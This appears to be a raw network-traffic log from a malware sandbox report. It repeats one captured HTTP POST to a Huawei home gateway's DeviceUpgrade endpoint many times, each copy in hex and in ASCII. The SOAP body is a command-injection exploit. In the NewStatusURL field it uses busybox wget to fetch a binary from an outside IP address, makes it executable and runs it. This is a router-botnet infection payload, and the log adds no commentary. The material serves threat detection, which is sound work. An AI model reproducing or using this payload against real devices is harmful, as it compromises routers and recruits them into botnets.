2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
